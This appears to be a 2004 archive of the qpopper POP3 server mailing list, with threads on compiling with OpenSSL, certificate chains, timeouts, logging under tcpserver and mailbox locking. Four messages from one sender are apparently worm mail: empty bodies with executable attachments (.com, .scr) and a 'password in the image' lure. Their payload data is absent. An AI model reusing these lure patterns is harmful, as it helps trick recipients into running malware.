> /home/mail/qpopper4.0.5/common/maillock.c:278: the use of `tempnam' is
> dangerous, better use `mkstemp'
>
this warning doesn't stop the binary from being compiled. ignore it.
--Tony
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
Anthony J. Biacco Network Administrator/Engineer
thelittleprince at asteroid-b612.org http://www.asteroid-b612 dot org
"It's not easy bein' green..there's so many colors I'd rather be"
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
Date: Thu, 06 May 2004 11:01:29 -0700
From: Mike <qpopper at mikesbytes dot com>
Subject: Re: Problem compiling qpopper on Mandrake 9.2
At 5/6/2004 12:06 AM, The Little Prince wrote:
> > After running configure (./configure --with-openssl=/usr/local/ssl)
> with no
> > problem, I get the following when I try to make:
> >
> > -I../common ../common/libcommon.a \
> > -lcrypt -L/usr/local/ssl/lib -lssl -lcrypto
> > ../common/libcommon.a(maillock.o)(.text+0x3fc): In function `Qmaillock':
> > /home/mail/qpopper4.0.5/common/maillock.c:278: the use of `tempnam' is
> > dangerous, better use `mkstemp'
> >
>
>this warning doesn't stop the binary from being compiled. ignore it.
Thanks. That caused me to dig deeper into the problem(s) I was having.
It turned out to be a problem with the certificate. I compiled a
certificate that required a password, so it was requesting a password every
time I attempted to connect to qpopper, since I configured qpopper to only
accept SSL connections.
Date: Tue, 11 May 2004 10:20:05 +0200
From: Arne Brutschy <mai01cvr at studserv.uni-leipzig dot de>
Subject: Problem using chained certificates
Hello,
I hava a problem using chained certificates. My certificate chain looks
like (ascii art ole!):
User has: Root CA Cert
|
/
|
Sub CA Cert
Server sends: |
Server Cert
So I tried to put all server side certificates (SubCA and Server cert)
in one file:
-----BEGIN RSA PRIVATE KEY-----
server private key
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
server cert
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
sub ca certs
-----END CERTIFICATE-----
This usually works with other servers (ie. UW IMAP). The server sends
the complete certificate chain except the root certificate. This
certificate is installed on the client, which can verify the complete chain.
However, this does not work with qpopper. Only the first certificate is
being send over the net, so chain validation fails as the middle SubCA
cert is missing.
This is was the openssl reference implementation returns:
# openssl s_client -connect server:995 -CApath /etc/ssl/cacerts/
------------------------------------------------------------
CONNECTED(00000003)
depth=0 /CÞ/O=Universitaet
Leipzig/OU=URZ/CN=server1.rz.uni-leipzig.de/Email=postmaster at uni-leipzig dot de
verify error:num :unable to get local issuer certificate
verify return:1
depth=0 /CÞ/O=Universitaet
Leipzig/OU=URZ/CN=server1.rz.uni-leipzig.de/Email=postmaster at uni-leipzig dot de
verify error:num=27:certificate not trusted
verify return:1
depth=0 /CÞ/O=Universitaet
Leipzig/OU=URZ/CN=server1.rz.uni-leipzig.de/Email=postmaster at uni-leipzig dot de
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
0 s:/CÞ/O=Universitaet
Leipzig/OU=URZ/CN=server1.rz.uni-leipzig.de/Email=postmaster at uni-leipzig dot de
i:/CÞ/O=Universitaet Leipzig/OU=URZ/CN=Zertifizierungsstelle
2004/Email=ca at uni-leipzig dot de
---
Server certificate
-----BEGIN CERTIFICATE-----
snip - certificate - snap
-----END CERTIFICATE-----
subject=/CÞ/O=Universitaet
Leipzig/OU=URZ/CN=server1.rz.uni-leipzig.de/Email=postmaster at uni-leipzig dot de
issuer=/CÞ/O=Universitaet Leipzig/OU=URZ/CN=Zertifizierungsstelle
2004/Email=ca at uni-leipzig dot de
---
No client certificate CA names sent
---
SSL handshake has read 1693 bytes and written 442 bytes
---
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA
Server public key is 2048 bit
SSL-Session:
Protocol : TLSv1
Cipher : DES-CBC3-SHA
Session-ID: <snip>
Session-ID-ctx:
Master-Key: <snip>
Key-Arg : None
Start Time: 1084263274
Timeout : 300 (sec)
Verify return code: 21 (unable to verify the first certificate)
---
+OK ready
------------------------------------------------------------
This has been tested with various clients (Mozilla/Thunderbird, Opera,
TheBat!, Pegasus Mail), all with the same result.
Is this a bug in qpopper? I found a mail by Alan W. Rateliff, indicating
that he had the same problem. (see "Chained Certs" in
http://www.pensive.org/Mailing_Lists/Archives/Qpopper/Archive-2003-11-06.html)
Anyway, I found another mail indicating that certificate chaining _is_
possible in qpopper:
http://lists.freebsd.org/pipermail/freebsd-questions/2004-March/038728.html
Is there any way around this bug? Has it been patched/addressed? Is it a
simple configuration error?
BTW, we're using qpopper 4.0.5
Thanks in advance,
Arne Brutschy
From: "Lisa Casey" <lisa at jellico dot net>
Subject: qpopper timeout
Date: Wed, 26 May 2004 13:35:28 -0400
Hi,
I am running qpopper 4.0.4 on a Red Hat box. I have this file:
/etc/xinetd.d/ipop3 which contains this:
# default: off
# description: The POP3 service allows remote users to access their mail \
# using an POP3 client such as Netscape Communicator, mutt, \
# or fetchmail.
service pop3
{
socket_type = stream
wait = no
user = root
server = /usr/local/sbin/popper
# server = /usr/sbin/ipop3d
server_args = -R
log_on_success += USERID
log_on_failure += USERID
disable = no
server_args = qpopper -s -T 600
}
Yet I am still seeing 120 sec timeouts in maillog:
May 26 08:32:21 Raydeus-Dee popper[6041]: (4.0.4) POP login for dkbost at
(XX.XX.XX.XX) XX.XX.XX.XX
May 26 08:34:21 Raydeus-Dee popper[6041]: (v4.0.4) Timeout (120 secs) during
nw read from dkbost at XX.XX.XX.XX (XX.XX.XX.XX)
Why isn't my timeout 600 seconds rather than 120?
Lisa Casey
Netlink 2000, Inc.
Subject: log to stdout instead of syslog
Date: Wed, 2 Jun 2004 17:05:24 -0500
From: "Krayzman, Dmitriy" <dkrayzma at mail.mcw dot edu>
Hi,
Can someone suggest a way to force popper to log to stdout or stderr
instead of syslog. I'm trying to run qpopper under djb's tcpserver.
Thanks,
D.
Date: Wed, 2 Jun 2004 18:43:23 -0400
From: Chuck Yerkes <chuck+qpopper at yerkes dot com>
Subject: Re: log to stdout instead of syslog
Quoting Krayzman, Dmitriy (dkrayzma at mail.mcw dot edu):
> Hi,
> Can someone suggest a way to force popper to log to stdout or stderr
> instead of syslog. I'm trying to run qpopper under djb's tcpserver.
Sure, you could rewrite the openlog and syslog functions and link
against YOUR version. Or tell syslog to write to your screen.
I'm not sure what tcpserver has to do with error logging...
From: peter at netlink.com dot au
Subject: Re: log to stdout instead of syslog
Date: Thu, 3 Jun 2004 10:25:19 +1000 (EST)
Dmitriy,
Original message from Krayzman, Dmitriy:
>
> Hi,
> Can someone suggest a way to force popper to log to stdout or stderr
> instead of syslog. I'm trying to run qpopper under djb's tcpserver.
> Thanks,
> D.
>
>
The rc script below works for me to achieve what I think you want:
#!/bin/sh
#
# Pop server
# Qpopper run by tcpserver
# -c 60 = up to 60 instances will be started
# -Q = log errors only (tcpserver that is)
# '22' = local6 syslog facility (goes to /var/log/tcppoplog)
/usr/local/bin/tcpserver -c 60 -Q 0 pop3 popper -f /etc/qpopper/qpopper.cfg | /var/qmail/bin/splogger popper 22 &
Of course I do use syslog (for tcpserver too) and my relevant syslog.conf
lines are:
# Qpopper messages...
local1.* /var/log/poplog
local6.* /var/log/tcppoplog
I hope this is of some help.
Regards, Peter
Date: Wed, 2 Jun 2004 19:43:02 -0500
From: David Champion <dgc at uchicago dot edu>
Subject: Re: log to stdout instead of syslog
* On 2004.06.02, in <989212123620156979339 at lists.pensive dot org>,
* "Chuck Yerkes" <chuck+qpopper at yerkes dot com> wrote:
> Quoting Krayzman, Dmitriy (dkrayzma at mail.mcw dot edu):
> > Hi,
> > Can someone suggest a way to force popper to log to stdout or stderr
> > instead of syslog. I'm trying to run qpopper under djb's tcpserver.
>
> Sure, you could rewrite the openlog and syslog functions and link
> against YOUR version. Or tell syslog to write to your screen.
Altogether, as long as you're recompiling, it's probably easier just to
modify pop_log.c, changing line 145 from this:
syslog ( (int) loglev, "%s", msgbuf );
to this:
fputs(msgbuf, stderr);
> I'm not sure what tcpserver has to do with error logging...
I know that djb has a program (whose name I forgot) that reads log
data from stdin and writes it to a file, automatically switching to
a new (datestamped) file at certain time points or file sizes. It's
cheap log rotation for people who want to avoid cron-activated log
rotation scripts, and are more interested in moving the mountain to
djb than in moving djb to the mountain. I think it's part of djb's
daemontools package, like tcpserver, and I assume that's the reason for
the interest.
If not, then my answer is that doing all this doesn't offer you anything
that syslog doesn't, and using syslog won't break tcpserver, if that
burns your fire hotter than inetd or listen() does.
--
-D. dgc at uchicago dot edu NSIT::ENSS
No money, no book. No book, no study. No study, no pass.
No pass, no graduate. No graduate, no job. No job, no money.
T h e U n i v e r s i t y o f C h i c a g o
Date: Thu, 03 Jun 2004 12:01:39 +0300
From: "Jackson" <jackson at nbi.ispkenya dot com>
Subject: RE: Text message
----------zcjcspxqtaxequxbkodi
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit
<html><body>
<br>
</body></html>
----------zcjcspxqtaxequxbkodi
Content-Type: application/octet-stream; name="Details.com"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Details.com"
----------zcjcspxqtaxequxbkodi--
Subject: RE: log to stdout instead of syslog
Date: Thu, 3 Jun 2004 10:28:35 -0500
From: "Krayzman, Dmitriy" <dkrayzma at mail.mcw dot edu>
-----Original Message-----
From: David Champion [mailto:dgc at uchicago dot edu]
Sent: Wednesday, June 02, 2004 7:43 PM
To: Chuck Yerkes
Cc: Subscribers of Qpopper
Subject: Re: log to stdout instead of syslog
* On 2004.06.02, in <989212123620156979339 at lists.pensive dot org>,
* "Chuck Yerkes" <chuck+qpopper at yerkes dot com> wrote:
> Quoting Krayzman, Dmitriy (dkrayzma at mail.mcw dot edu):
> > Hi,
> > Can someone suggest a way to force popper to log to stdout or stderr
> > instead of syslog. I'm trying to run qpopper under djb's tcpserver.
>
> Sure, you could rewrite the openlog and syslog functions and link
> against YOUR version. Or tell syslog to write to your screen.
Altogether, as long as you're recompiling, it's probably easier just to
modify pop_log.c, changing line 145 from this:
syslog ( (int) loglev, "%s", msgbuf );
to this:
fputs(msgbuf, stderr);
> I'm not sure what tcpserver has to do with error logging...
I know that djb has a program (whose name I forgot) that reads log
data from stdin and writes it to a file, automatically switching to
a new (datestamped) file at certain time points or file sizes. It's
cheap log rotation for people who want to avoid cron-activated log
rotation scripts, and are more interested in moving the mountain to
djb than in moving djb to the mountain. I think it's part of djb's
daemontools package, like tcpserver, and I assume that's the reason for
the interest.
If not, then my answer is that doing all this doesn't offer you anything
that syslog doesn't, and using syslog won't break tcpserver, if that
burns your fire hotter than inetd or listen() does.
--
-D. dgc at uchicago dot edu NSIT::ENSS
No money, no book. No book, no study. No study, no pass.
No pass, no graduate. No graduate, no job. No job, no money.
T h e U n i v e r s i t y o f C h i c a g o
This is exactly what I was looking for. Thanks, works great.
The name of the program is multilog and it's part of the daemontools.
I do agree about moving the mountain.
Thanks again,
D.
Date: Fri, 04 Jun 2004 10:01:59 +0300
From: "Jackson" <jackson at nbi.ispkenya dot com>
Subject: New changes
----------sqkzxeoezublyxinwrcy
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit
<html><body>
<br>
</body></html>
----------sqkzxeoezublyxinwrcy
Content-Type: application/octet-stream; name="Information.com"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Information.com"
----------sqkzxeoezublyxinwrcy--
Date: Mon, 07 Jun 2004 09:38:21 +0300
From: "Jackson" <jackson at nbi dot ispkenya dot com>
Subject: Changes..
----------shucobnpngsiaunrpgki
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit
<html><body>
<br>For security purposes the attached file is password protected. Password -- <img src="cid:llvsuzhjas.bmp"><br>
<br>
</body></html>
----------shucobnpngsiaunrpgki
Content-Type: image/bmp; name="llvsuzhjas.bmp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="llvsuzhjas.bmp"
Content-ID:
----------shucobnpngsiaunrpgki--
Date: Wed, 09 Jun 2004 10:15:13 +0300
From: "Jackson" <jackson at nbi dot ispkenya dot com>
Subject: Changes..
----------bymjquwtzwvbcplirmuv
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit
<html><body>
<br>
</body></html>
----------bymjquwtzwvbcplirmuv
Content-Type: application/octet-stream; name="I_search_for_you.scr"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="I_search_for_you.scr"
----------bymjquwtzwvbcplirmuv--
From: "John Gallagher" <john dot gallagher at sbcglobal dot net>
Subject: Make not working on Fedora Core 2 Installation
Date: Thu, 24 Jun 2004 17:21:54 -0700
I have been trying to compile qpopper with tls support on Fedora Core 2
using openssl. For what ever reason it does not seem to work. I have tried
multiple combinations not knowing if I needed to throw some switch based the
FAQ and other posting but nothing seems to work. I can get it to compile
fine on Fedora Core 1 using --with-openssl.
These do not work on FC2:
./configure --with-openssl
./configure --with-openssl=/usr/share/ssl/
./configure --with-openssl=/usr/share/ssl/ --with-kerberos5=/usr/kerberos
Any suggestions?
[root@GPS1 qpopper4.0.5]# rpm -qa |grep ssl
openssl-0.9.7a-35
[root@GPS1 qpopper4.0.5]# rpm -qa |grep krb
krb5-libs-1.3.3-7
krbafs-1.2.2-2.1
pam_krb5-2.0.10-1
[root@GPS1 qpopper4.0.5]#
./configure --with-openssl
checking whether make sets ${MAKE}... yes
checking for gcc... gcc
checking for C compiler default output... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for executable suffix...
checking for object suffix... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for POSIXized ISC... no
checking for bison... bison -y
checking for flex... flex
checking for yywrap in -lfl... yes
checking lex output file root... lex.yy
checking whether yytext is a pointer... yes
checking for ar... ar
checking for ranlib... ranlib
checking for a BSD compatible install... /usr/bin/install -c
checking for gperf... no
checking for cperf... no
./configure: line 2288: WARNING:: command not found
checking for gcc version 2.7.2.3... no
checking if gcc supports __attribute__ (format) ... yes
checking if ar chokes on -r... no
checking for getspnam... yes
Found getspnam(); using shadow passwords by default
Will NOT compile in debugging code
Defining SPEC_POP_AUTH
Attempting to use OpenSSL in "/usr/local/ssl"
System name: Linux; System version: 2.6.6-1.435
Set OS_DEFS = " -DLINUX -DUNIX"
Logging to facility: LOG_MAIL
Set AR_FLAG = " -r "; RANLIB_CMD = ""
checking for sendmail program... found at /usr/sbin/sendmail
checking for mail spool directory... "found at /var/mail"
checking for dirent.h that defines DIR... yes
checking for opendir in -ldir... no
checking how to run the C preprocessor... gcc -E
checking for ANSI C header files... yes
checking for sys/wait.h that is POSIX.1 compatible... yes
checking for sys_siglist declaration in signal.h or unistd.h... yes
checking for prot.h... no
checking for fcntl.h... yes
checking for limits.h... yes
checking for strings.h... yes
checking for sys/param.h... yes
checking for sys/file.h... yes
checking for sys/security.h... no
checking for sys/syslog.h... yes
checking for sys/types.h... yes
checking for sys/fcntl.h... yes
checking for sys/select.h... yes
checking for sys/stat.h... yes
checking for sys/unistd.h... yes
checking for sys/netinet/in.h... no
checking for sys/time.h... yes
checking for syslog.h... yes
checking for net/errno.h... no
checking for unistd.h... yes
checking for netinet/in.h... yes
checking for maillock.h... no
checking for select.h... no
checking for shadow.h... yes
checking for security/pam_appl.h... no
checking for ndbm.h... no
checking for gdbm.h... no
checking for dbm.h... no
checking for t_accept in -lnsl... no
checking for socket in -lsocket... no
checking for res_init in -lresolv... no
checking for maillock in -lmail... no
checking for krb_recvauth in -lkrb... no
checking for clock_gettime in -lposix4... no
checking for set_auth_parameters in -lsecurity... no
checking for crypt in -lcrypt... yes
checking for gcc option to accept ANSI C... none needed
checking for an ANSI C-conforming const... yes
checking for uid_t in sys/types.h... yes
checking for sys/types.h... (cached) yes
checking for sys/stat.h... (cached) yes
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... (cached) yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... (cached) yes
checking for mode_t... yes
checking for off_t... yes
checking for size_t... yes
checking for sys_siglist declaration in signal.h or unistd.h... (cached) yes
checking whether time.h and sys/time.h may both be included... yes
checking whether struct tm is in sys/time.h or time.h... time.h
checking for working memcmp... yes
checking return type of signal handlers... void
checking whether utime accepts a null argument... yes
checking for vprintf... yes
checking for _doprnt... no
checking for wait3 that fills in rusage... yes
checking for gethostname... yes
checking for gethostbyname... yes
checking for gettimeofday... yes
checking for getusershell... yes
checking for mkdir... yes
checking for socket... yes
checking for strdup... yes
checking for strerror... yes
checking for strstr... yes
checking for bcopy... yes
checking for index... yes
checking for flock... yes
checking for set_auth_parameters... no
checking for pw_encrypt... no
checking for hstrerror... yes
checking for snprintf... yes
checking for vsnprintf... yes
checking for srandom... yes
checking for srand... yes
checking for usleep... yes
checking for setproctitle... no
checking for library containing gethostbyname... none required
checking for unsigned long int... yes
checking size of unsigned long int... 4
checking for /dev/urandom ... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating common/Makefile
config.status: creating popper/Makefile
config.status: creating mmangle/Makefile
config.status: creating password/Makefile
config.status: creating config.h
[root@GPS1 qpopper4.0.5]# make
cd ./popper && make all
make[1]: Entering directory `/home/kanvick/Mail/qpopper4.0.5/popper'
gcc -c -I.. -I.. -I. \
-I../mmangle -I../common -I/usr/local/ssl/include \
-g -O2 -DHAVE_CONFIG_H -DLINUX -DUNIX pop_dele.c -o pop_dele.o
gcc -c -I.. -I.. -I. \
-I../mmangle -I../common -I/usr/local/ssl/include \
-g -O2 -DHAVE_CONFIG_H -DLINUX -DUNIX pop_dropcopy.c -o
pop_dropcopy.o
gcc -c -I.. -I.. -I. \
-I../mmangle -I../common -I/usr/local/ssl/include \
-g -O2 -DHAVE_CONFIG_H -DLINUX -DUNIX pop_get_command.c -o
pop_get_command.o
In file included from pop_get_command.c:25:
pop_tls.h:41:29: openssl/ssl.h: No such file or directory
In file included from pop_get_command.c:25:
pop_tls.h:68: error: syntax error before "SSL_CTX"
pop_tls.h:68: warning: no semicolon at end of struct or union
pop_tls.h:69: warning: data definition has no type or storage class
pop_tls.h:70: error: syntax error before '*' token
pop_tls.h:70: warning: data definition has no type or storage class
pop_tls.h:72: error: syntax error before '}' token
make[1]: *** [pop_get_command.o] Error 1
make[1]: Leaving directory `/home/kanvick/Mail/qpopper4.0.5/popper'
make: *** [popper_server] Error 2
[root@GPS1 qpopper4.0.5]# locate ssl
/lib/libssl.so.0.9.7a
/lib/libssl.so.4
/etc/gnome-vfs-2.0/modules/ssl-modules.conf
/usr/lib/kde3/kded_kssld.la
/usr/lib/kde3/kded_kssld.so
/usr/lib/python2.3/site-packages/rhpl/guesslcd.py
/usr/lib/python2.3/site-packages/rhpl/guesslcd.pyc
/usr/lib/python2.3/lib-dynload/_ssl.so
/usr/lib/libssl3.so
/usr/bin/csslint
/usr/bin/openssl
/usr/share/ssl
/usr/share/ssl/certs
/usr/share/ssl/certs/Makefile
/usr/share/ssl/certs/ca-bundle.crt
/usr/share/ssl/certs/make-dummy-cert
/usr/share/ssl/certs
/usr/share/ssl/openssl.cnf
/usr/share/ssl/lib
/usr/share/ssl/lib
/usr/share/ssl/private
/usr/share/ssl/private
/usr/share/ssl/cert.pem
/usr/share/ssl/misc
/usr/share/ssl/misc/c_hash
/usr/share/ssl/misc/c_issuer
/usr/share/ssl/misc/c_name
/usr/share/ssl/misc/c_info
/usr/share/ssl/misc/CA
/usr/share/ssl/misc
/usr/share/ssl/CA
/usr/share/ssl/CA/private
/usr/share/ssl/CA/private
/usr/share/ssl/CA
/usr/share/ssl
/home/Mail/qpopper4.0.5/popper/pop_tls_openssl.c
/home/Mail/qpopper4.0.5/popper/pop_tls_sslplus.c
/home/Mail/qpopper4.0.5/popper/sslplus_utils.h
/home/Mail/qpopper4.0.5/popper/sslplus_utils.c
[root@GPS1 qpopper4.0.5]#
Date: Thu, 24 Jun 2004 22:15:16 -0700
From: Daved Daly <daved dot daly at gmail dot com>
Subject: Re: Make not working on Fedora Core 2 Installation
Knowing nothing about Fedora,
that whole thing can be summed up in that gcc cant find ssl.h.
On my slackware & debian installs all the openssl header files would
be in /usr/include/openssl/
Recheck your openssl installation ?
-Daved
On Thu, 24 Jun 2004 17:21:54 -0700, John Gallagher
<john.gallagher@sbcglobal.net> wrote:
>
> I have been trying to compile qpopper with tls support on Fedora Core 2
> using openssl. For what ever reason it does not seem to work. I have tried
> multiple combinations not knowing if I needed to throw some switch based the
> FAQ and other posting but nothing seems to work. I can get it to compile
> fine on Fedora Core 1 using --with-openssl.
> In file included from pop_get_command.c:25:
> pop_tls.h:41:29: openssl/ssl.h: No such file or directory
> In file included from pop_get_command.c:25:
> pop_tls.h:68: error: syntax error before "SSL_CTX"
> pop_tls.h:68: warning: no semicolon at end of struct or union
> pop_tls.h:69: warning: data definition has no type or storage class
> pop_tls.h:70: error: syntax error before '*' token
> pop_tls.h:70: warning: data definition has no type or storage class
> pop_tls.h:72: error: syntax error before '}' token
> make[1]: *** [pop_get_command.o] Error 1
> make[1]: Leaving directory `/home/kanvick/Mail/qpopper4.0.5/popper'
> make: *** [popper_server] Error 2
Date: Fri, 25 Jun 2004 00:20:33 -0700
From: Kenneth Porter <shiva at sewingwitch dot com>
Subject: Re: Make not working on Fedora Core 2 Installation
--On Thursday, June 24, 2004 10:15 PM -0700 Daved Daly
<daved.daly@gmail.com> wrote:
> that whole thing can be summed up in that gcc cant find ssl.h.
>
> On my slackware & debian installs all the openssl header files would
> be in /usr/include/openssl/
>
> Recheck your openssl installation ?
You need the openssl-devel package. Easiest way to install it is "yum
install openssl-devel". That'll pull it from the repository listed in
/etc/yum.conf, and grab any update available.
Check Fedora News online for articles on how to set up a local yum
repository using your CD images, saving the need to pull non-updated
packages from off-site.
From: "John Gallagher" <john dot gallagher at sbcglobal dot net>
Subject: RE: Make not working on Fedora Core 2 Installation
Date: Fri, 25 Jun 2004 07:13:03 -0700
Thanks, I installed the following using apt and then ran make realclean,
./configure --with-openssl, make and all is good!
John
[root@GPS1 root]# apt-get install openssl-devel
Reading Package Lists... Done
Building Dependency Tree... Done
The following extra packages will be installed:
e2fsprogs-devel krb5-devel zlib-devel
The following NEW packages will be installed:
e2fsprogs-devel krb5-devel openssl-devel zlib-devel
0 upgraded, 4 newly installed, 0 removed and 0 not upgraded.
Committing changes...
Preparing... ###########################################
[100%]
1:e2fsprogs-devel ########################################### [
25%]
2:krb5-devel ########################################### [
50%]
3:zlib-devel ########################################### [
75%]
4:openssl-devel ###########################################
[100%]
Done.
-----Original Message-----
From: Kenneth Porter [mailto:shiva@sewingwitch.com]
Sent: Friday, June 25, 2004 12:21 AM
To: Subscribers of Qpopper
Subject: Re: Make not working on Fedora Core 2 Installation
--On Thursday, June 24, 2004 10:15 PM -0700 Daved Daly
<daved.daly@gmail.com> wrote:
> that whole thing can be summed up in that gcc cant find ssl.h.
>
> On my slackware & debian installs all the openssl header files would
> be in /usr/include/openssl/
>
> Recheck your openssl installation ?
You need the openssl-devel package. Easiest way to install it is "yum
install openssl-devel". That'll pull it from the repository listed in
/etc/yum.conf, and grab any update available.
Check Fedora News online for articles on how to set up a local yum
repository using your CD images, saving the need to pull non-updated
packages from off-site.
Date: Tue, 29 Jun 2004 15:07:27 -0500
From: Ladar Levison <ladar at nerdshack dot com>
Subject: Qpopper Questions RE: flock()
Howdy Qpopper List --
I have a question that stems from my desire to integrate a Webmail
system with my already up and running Qpopper 4.0.5 installation.
Basically my concern is in regards to the Webmail system, and Qpopper
cooperating nicely if both access the mbox file at the same time. I want
to make sure someone doesn't log in through the webmail system, and
Qpopper at the same time. Based on my reading of the source code
documentation, Qpopper locks the Mailbox, then copies it to a temporary
file. For the sake of this e-mail, I assume that temporary file is :
/var/mail/.user.pop, (though I could be wrong). Qpopper then releases
the lock on the Mailbox, and uses the .pop file for the session. When
the session is over, the .pop file is copied back into the Mailbox.
Is this correct? I have tried scanning the /proc/locks file for active
locks, and I can't seem to find any. Perhaps because the files are
copied, and released so quickly.
Now while the session is going on, qpopper uses flock() to lock the .pop
file. That way if the session doesn't end normally, the lock still
exists until the timeout period is over (120 seconds).
I presently use --keep-temp-drop, so every user does have a .pop file.
Could I code my webmail client to lock the .pop file using flock, then
flock the Mailbox file? Would this effectively keep the two from
accessing the files at the same time?
What if I just flock'ed the mbox file? The problem I see with that
scenario is when someone is using pop, they might have all the active
messages in the temp file, and there would be nothing for webmail system
to read.
Any suggestions? Any solutions?
L~
http://www.nerdshack.com/
Date: Tue, 29 Jun 2004 21:52:39 +0100
Subject: Re: Qpopper Questions RE: flock()
From: Jan Cobb <jan dot cobb at ntlworld dot com>
(Date/Time: 29/06/04 9:07 pm), Ladar Levison wrote:
> Howdy Qpopper List --
>
> I have a question that stems from my desire to integrate a Webmail
> system with my already up and running Qpopper 4.0.5 installation.
>
> Basically my concern is in regards to the Webmail system, and Qpopper
> cooperating nicely if both access the mbox file at the same time. I want
> to make sure someone doesn't log in through the webmail system, and
> Qpopper at the same time. Based on my reading of the source code
> documentation, Qpopper locks the Mailbox, then copies it to a temporary
> file. For the sake of this e-mail, I assume that temporary file is :
> /var/mail/.user.pop, (though I could be wrong). Qpopper then releases
> the lock on the Mailbox, and uses the .pop file for the session. When
> the session is over, the .pop file is copied back into the Mailbox.
>
> Is this correct? I have tried scanning the /proc/locks file for active
> locks, and I can't seem to find any. Perhaps because the files are
> copied, and released so quickly.
>
> Now while the session is going on, qpopper uses flock() to lock the .pop
> file. That way if the session doesn't end normally, the lock still
> exists until the timeout period is over (120 seconds).
>
> I presently use --keep-temp-drop, so every user does have a .pop file.
> Could I code my webmail client to lock the .pop file using flock, then
> flock the Mailbox file? Would this effectively keep the two from
> accessing the files at the same time?
>
> What if I just flock'ed the mbox file? The problem I see with that
> scenario is when someone is using pop, they might have all the active
> messages in the temp file, and there would be nothing for webmail system
> to read.
>
> Any suggestions? Any solutions?
>
> L~
>
> http://www.nerdshack.com/
>
>
Dear L~
I have just received my first message from the mailing list and it happened
to be yours. While I have no idea of the answer to your question, I was
prompted to go to your website, where I saw the progress you are making with
your project to provide free e-mail, which I consider most commendable and
something I am trying to emulate, albeit on a MUCH smaller scale.
I have a Mac G4 with OSX 10.3.4, which allows me to run a web server (Apache
1.3.29) and various forms of mail server. Built-in is the ipop3d POP
server, but it is configured (as far as I can tell) only to fetch mail for
the currently registered Users of the Mac (just the 2 of us). As I want to
be able to allow certain users who would normally have no access to my
computer to collect mail - and this mail is in mailboxes under 2 separate
domain name locations - I am trying to find out how to achieve that. For
example, how does one set up non-shell pop-only-access users?
Do you have any ideas - or does anyone else, for that matter? Any pointers
to other documentation would be much appreciated.
Jan Cobb
Date: Tue, 29 Jun 2004 18:36:18 -0400
Subject: Re: Qpopper Questions RE: flock()
From: george <gasjr4wd at mac dot com>
On 6/29/04 4:52 PM, "Jan Cobb" <jan.cobb@ntlworld.com> wrote:
> Dear L~
> I have just received my first message from the mailing list and it happened
> to be yours. While I have no idea of the answer to your question, I was
> prompted to go to your website, where I saw the progress you are making with
> your project to provide free e-mail, which I consider most commendable and
> something I am trying to emulate, albeit on a MUCH smaller scale.
>
> I have a Mac G4 with OSX 10.3.4, which allows me to run a web server (Apache
> 1.3.29) and various forms of mail server. Built-in is the ipop3d POP
> server, but it is configured (as far as I can tell) only to fetch mail for
> the currently registered Users of the Mac (just the 2 of us). As I want to
> be able to allow certain users who would normally have no access to my
> computer to collect mail - and this mail is in mailboxes under 2 separate
> domain name locations - I am trying to find out how to achieve that. For
> example, how does one set up non-shell pop-only-access users?
>
> Do you have any ideas - or does anyone else, for that matter? Any pointers
> to other documentation would be much appreciated.
>
> Jan Cobb
>
>
>
Yea, I can't help the original question, but Jan-
Have you looked at webmin.com?
Just don't use it for changing apache.
--
Thanks,
George
"INTEL INSIDE"
It's not a marketing gimmick, it's a warning label.
Date: Wed, 30 Jun 2004 11:44:18 +0100
Subject: Re: Qpopper Questions RE: flock()
From: Jan Cobb <jan dot cobb at ntlworld dot com>
(Date/Time: 29/06/04 11:36 pm), george wrote:
> On 6/29/04 4:52 PM, "Jan Cobb" <jan.cobb@ntlworld.com> wrote:
>
>
>> Dear L~
>> I have just received my first message from the mailing list and it happened
>> to be yours. While I have no idea of the answer to your question, I was
>> prompted to go to your website, where I saw the progress you are making with
>> your project to provide free e-mail, which I consider most commendable and
>> something I am trying to emulate, albeit on a MUCH smaller scale.
>>
>> I have a Mac G4 with OSX 10.3.4, which allows me to run a web server (Apache
>> 1.3.29) and various forms of mail server. Built-in is the ipop3d POP
>> server, but it is configured (as far as I can tell) only to fetch mail for
>> the currently registered Users of the Mac (just the 2 of us). As I want to
>> be able to allow certain users who would normally have no access to my
>> computer to collect mail - and this mail is in mailboxes under 2 separate
>> domain name locations - I am trying to find out how to achieve that. For
>> example, how does one set up non-shell pop-only-access users?
>>
>> Do you have any ideas - or does anyone else, for that matter? Any pointers
>> to other documentation would be much appreciated.
>>
>> Jan Cobb
>>
>>
>>
>
> Yea, I can't help the original question, but Jan-
> Have you looked at webmin.com?
>
> Just don't use it for changing apache.
>
Thanks, George, that looks VERY promising! I shan't use it for Apache; that
I have no problem with!
Jan
Date: Wed, 30 Jun 2004 10:12:38 -0400
From: "Kevin M dot Barrett" <kmb at kmb dot com>
Subject: Can anyone shed some light on this EOF Error
All,
Can anyone help me out here, I have been seeing a fair amount of these on
a new RH E3 server install that I support.
Jun 30 10:01:21 mail popper[10600]: joeuser at 192.168.2.131
(192.168.2.131): -ERR POP EOF or I/O Error
Jun 30 10:01:21 mail popper[10600]: Stats: joeuser 0 0 0 0 192.168.2.131
192.168.2.131
Jun 30 10:01:21 mail popper[10600]: I/O error flushing output to client
joeuser at 192.168.2.131 [192.168.2.131]: Operation not permitted (1)
Thanks
Kevin
